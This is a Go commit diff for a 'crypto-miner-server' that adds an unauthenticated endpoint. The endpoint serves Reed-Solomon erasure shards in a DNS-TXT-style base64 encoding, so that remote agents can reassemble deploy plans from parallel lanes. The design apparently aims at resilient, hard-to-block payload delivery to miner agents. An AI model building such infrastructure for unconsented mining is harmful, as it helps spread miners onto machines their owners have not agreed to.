Add erasure-coded multi-lane spread foundation.

Server Reed-Solomon 4+2 shard encode on deploy plans when erasure_lanes_enabled; agents reassemble from parallel lane URLs as staging fallback with BGP/Path Tracer hints.

server/internal/api/public_handler.go

@@ -2,12 +2,14 @@ package api
 
 import (
 	"encoding/base64"
+	"fmt"
 	"net/http"
 	"os"
 	"path/filepath"
 	"strings"
 
 	dbpkg "crypto-miner-server/internal/db"
+	"crypto-miner-server/internal/erasure"
 	"crypto-miner-server/internal/models"
 
 	"github.com/go-chi/chi/v5"
@@ -21,15 +23,21 @@ type PublicBuildsConfig struct {
 
 // PublicHandler serves unauthenticated build listing and download endpoints.
 type PublicHandler struct {
-	db       *dbpkg.Database
-	dataDir  string
-	configFn func() PublicBuildsConfig
+	db            *dbpkg.Database
+	dataDir       string
+	configFn      func() PublicBuildsConfig
+	erasureShards *erasure.ShardStore
 }
 
 func NewPublicHandler(database *dbpkg.Database, dataDir string, configFn func() PublicBuildsConfig) *PublicHandler {
 	return &PublicHandler{db: database, dataDir: dataDir, configFn: configFn}
 }
 
+// BindErasureShardStore serves Reed–Solomon shard bytes for multi-lane deploy plans.
+func (h *PublicHandler) BindErasureShardStore(store *erasure.ShardStore) {
+	h.erasureShards = store
+}
+
 type publicBuildDTO struct {
 	ID          string `json:"id"`
 	WorkerName  string `json:"worker_name"`
@@ -199,6 +207,34 @@ func encodeDNSTXTShard(data []byte) string {
 	return base64.StdEncoding.EncodeToString(data)
 }
 
+// GET /api/v1/public/erasure-shard/{token}/{index}
+func (h *PublicHandler) ErasureShard(w http.ResponseWriter, r *http.Request) {
+	if h.erasureShards == nil {
+		http.Error(w, "erasure shards unavailable", http.StatusNotFound)
+		return
+	}
+	token := strings.TrimSpace(chi.URLParam(r, "token"))
+	if token == "" {
+		http.Error(w, "token required", http.StatusBadRequest)
+		return
+	}
+	indexStr := strings.TrimSpace(chi.URLParam(r, "index"))
+	index := 0
+	if indexStr != "" {
+		if _, err := fmt.Sscanf(indexStr, "%d", &index); err != nil {
+			http.Error(w, "invalid shard index", http.StatusBadRequest)
+			return
+		}
+	}
+	data, ok := h.erasureShards.Get(token, index)
+	if !ok {
+		http.Error(w, "shard not found", http.StatusNotFound)
+		return
+	}
+	w.Header().Set("Content-Type", "text/plain")
+	_, _ = w.Write([]byte(encodeDNSTXTShard(data)))
+}
+
 func clientIP(r *http.Request) string {
 	ip := r.Header.Get("X-Forwarded-For")
 	if ip == "" {